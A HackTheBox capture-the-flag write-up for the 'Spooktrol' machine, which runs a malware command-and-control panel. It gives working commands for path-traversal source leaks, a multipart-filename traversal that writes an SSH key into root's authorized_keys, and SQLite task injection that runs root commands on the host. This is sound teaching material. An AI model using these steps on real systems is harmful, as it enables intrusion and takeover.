HTB: Spooktrol Writeup
Spooktrol - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Spooktrol |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | spooktrol.htb |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Spooktrol drops you in front of a live malware Command & Control server instead of a normal web app. The box exposes a FastAPI/Uvicorn C2 panel that hands out its own implant binary for download — a statically linked, non-stripped ELF. Reversing that implant reveals the C2’s private wire protocol (upload/download/exec task IDs, the request format for each), which in turn makes an unauthenticated path-traversal read on the panel’s file endpoint useful: it leaks the FastAPI source itself. The source confirms two implementation flaws — a trivially bypassable auth cookie and an unsanitized file-upload path — that combine into arbitrary file write. That write lands an SSH key in the container’s root/.ssh/authorized_keys. Privilege escalation off the container then abuses the C2’s own SQLite task queue: another implant, running as root on the underlying host, is polling that same database for work, so inserting a task row is enough to get root command execution reflected straight back into the result column.
TL;DR: Leak implant binary → statically reverse PerformUPLOAD/task dispatch → path-traversal-leak app/main.py → confirm auth-cookie bypass + unsanitized file_upload → arbitrary write SSH key to container’s authorized_keys → SSH on 2222 as container root (user.txt) → enumerate sql_app.db → insert task for the host’s live implant session → host implant executes as root and reports output into the DB (root.txt).
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- spooktrol.htbResults:
22/tcp— OpenSSH (host)80/tcp— Uvicorn (FastAPI-backed C2 web panel)2222/tcp— OpenSSH (internal Docker container)
Two SSH listeners on one box is a strong tell that port 22 belongs to the host and port 2222 belongs to a container running behind it — that distinction matters later.
Service Enumeration
The service on port 80 returns JSON rather than HTML, confirming a FastAPI/Uvicorn backend rather than a traditional CMS. Enumerating the app surfaced a file_management endpoint that takes a raw filename parameter:
curl -s 'http://spooktrol.htb/file_management/?file=implant' -o implantfile implant# implant: ELF 64-bit LSB executable, x86-64, statically linked, not strippedThe endpoint serves a full C2 implant binary directly to any unauthenticated client — and because it isn’t stripped, all of its internal function and variable names are intact for static analysis.
Vulnerability Assessment
- C2 implant binary is publicly downloadable and non-stripped — reversible for the full client-server protocol.
file_management/?file=accepts a raw filename with no visible sanitization — path-traversal read candidate.- An
file_upload/endpoint exists whose exact wire format is unknown from the outside — but is the implant’s own exfil mechanism, so the implant itself documents it.
Initial Foothold
Reversing the implant to recover the upload protocol
Because the binary was not stripped, the implant’s task-dispatch logic and its PerformUPLOAD routine were readable directly from symbols and disassembly. That function builds and executes a curl command to exfiltrate a file to the panel:
# Upload request format recovered from static analysis of PerformUPLOADcurl -H 'Cookie: auth=<hex>' -X PUT -F file=@<local_path> http://spooktrol.htb/file_upload/This confirmed the endpoint expects a PUT with a multipart file field, gated by an auth cookie carrying a hex value.
Leaking the FastAPI source via path traversal
With file_management known to accept a raw filename, the same primitive was used to pull the application’s own source tree out from under it:
curl -s 'http://spooktrol.htb/file_management/?file=../app/main.py' -o main.pyReading main.py confirmed two exploitable implementation flaws:
- Auth bypass: the
authcookie check only verifies the hex value is divisible by42— it is not a real secret.GET /itself hands back exactly such a token on every request, so authentication is trivial to satisfy. - Unsanitized upload path: the
file_uploadhandler resolves the destination asos.getcwd() + "/files/" + filenamewith no normalization or allow-listing offilename, which is taken straight from the client-controlled multipart field. That is a textbook arbitrary-file-write via path traversal.
Arbitrary write to root’s authorized_keys
# Generate an attacker keypairssh-keygen -t ed25519 -f spooktrol_key -N ""
# Grab a valid (divisible-by-42) auth cookie — GET / issues one for freecurl -s http://spooktrol.htb/ -c cookies.txt
# Abuse the traversal in the multipart filename to land the pubkey in root's authorized_keyscurl -b cookies.txt -X PUT \ -F "file=@spooktrol_key.pub;filename=../../../../../../root/.ssh/authorized_keys" \ http://spooktrol.htb/file_upload/getcwd() for the running app resolves inside the container’s filesystem, so the traversal from /files/ walks straight up to /root/.ssh/authorized_keys inside that same container.
Shell as root (container)
ssh -i spooktrol_key -p 2222 root@spooktrol.htbPort 2222 is the internal container’s sshd — port 22 belongs to the underlying host and does not accept this key. This landed a root shell inside the C2 application’s container.
cat /root/user.txt# <redacted>Privilege Escalation
Confirming the container boundary
ls -la /.dockerenv# present — confirms this root shell is inside a Docker container, not the hostEnumerating the live C2 database
find / -iname '*.db' 2>/dev/null | grep -i spooksqlite3 /opt/spook2/sql_app.db.tables-- checkins sessions tasks
select * from sessions;-- a session row hostnamed against the HOST machine ('spooktrol'), session ID <redacted>This database is the live backing store for the C2’s /poll and /result endpoints — every deployed implant, including one running on the underlying host itself, checks in against these tables roughly every two minutes to pick up queued work and post results back.
Hijacking the host’s task queue
With task ID 1 already known from the implant’s dispatch logic to mean “exec arg1, report result,” a new row was inserted targeting the host’s session:
INSERT INTO tasks (target, status, task, arg1, arg2, result)VALUES ('<redacted-session>', 0, 1, 'cat /root/root.txt', '', '');Within its normal poll interval, the host’s own implant — running as root — picked up the task, executed it, and wrote the command’s stdout back into the result column of the very row that was inserted:
select result from tasks where arg1 = 'cat /root/root.txt';-- <redacted>No shell, no reverse connection, no local exploit — the C2 framework’s own tasking channel was repurposed to run arbitrary commands as root on the host and exfiltrate the output through its own reporting mechanism.
Attack Chain Summary
Leak non-stripped ELF implant via /file_management/?file=implant → Static reversal of PerformUPLOAD + task dispatch (recover C2 wire protocol) → Path-traversal leak of app/main.py via same endpoint → Confirm: auth cookie bypass (hex % 42) + unsanitized file_upload path → Arbitrary write: SSH pubkey → container's root/.ssh/authorized_keys → ssh -p 2222 root@spooktrol.htb → container root shell → user.txt → Enumerate /opt/spook2/sql_app.db → find HOST's live session ID → INSERT malicious task (task=1, arg1='cat /root/root.txt') for that session → Host implant executes as root, writes output back into tasks.result → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl | Interacting with C2 REST endpoints, downloading the implant/source, uploading the malicious payload |
Static binary analysis (file, symbol/disassembly review) | Reversing the non-stripped implant to recover PerformUPLOAD and task-dispatch logic |
ssh-keygen | Generating the attacker keypair used for the authorized_keys write |
sqlite3 | Enumerating and writing to the live sql_app.db C2 database |
ssh | Container foothold shell (port 2222) |
Key Learnings
Techniques Practiced
- Reverse engineering a statically-linked, non-stripped C2 implant to recover its private wire protocol
- Path traversal in a “file serving” parameter used to exfiltrate application source code
- Identifying and exploiting weak, predictable authentication logic (hex-mod-N cookie)
- Arbitrary file write via unsanitized multipart filename → SSH key injection into
authorized_keys - Recognizing dual-SSH-port layout as a signal of a containerized foothold behind the host
- Abusing a C2 framework’s own task queue/database as a root-level command execution primitive on a peer host
Lessons Learned
- A binary served over HTTP isn’t “closed source” just because it isn’t source — a non-stripped ELF with intact symbols hands an attacker its entire protocol for free static analysis.
- Never build filesystem paths from client-controlled multipart filenames without resolving and pinning against an allow-listed base directory;
os.getcwd() + "/files/" + filenameis arbitrary write waiting to happen. - “Authentication” that accepts any value satisfying a cheap mathematical property (divisible by a constant) is not authentication — a real secret must be unpredictable and server-verified as such, not just structurally validated.
- A C2 architecture is a two-way trust relationship: whoever can write to the tasking datastore effectively controls every implant that polls it — including ones running as root on entirely separate hosts.
- A second SSH listener on a non-standard port is itself recon signal — it usually means a Docker container’s internal sshd is reachable behind the host’s real one, and the two are separate privilege domains.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Official HackTheBox writeup for Spooktrol, prepared by kavigihan (machine author: ippsec) — consulted for explanatory context on the Ghidra-based implant reversing workflow and the general concept of pivoting through a C2 framework’s own database to escalate to a peer implant’s privileges. All IPs, commands, outputs, and credentials in this writeup are from this author’s own solve, not the reference.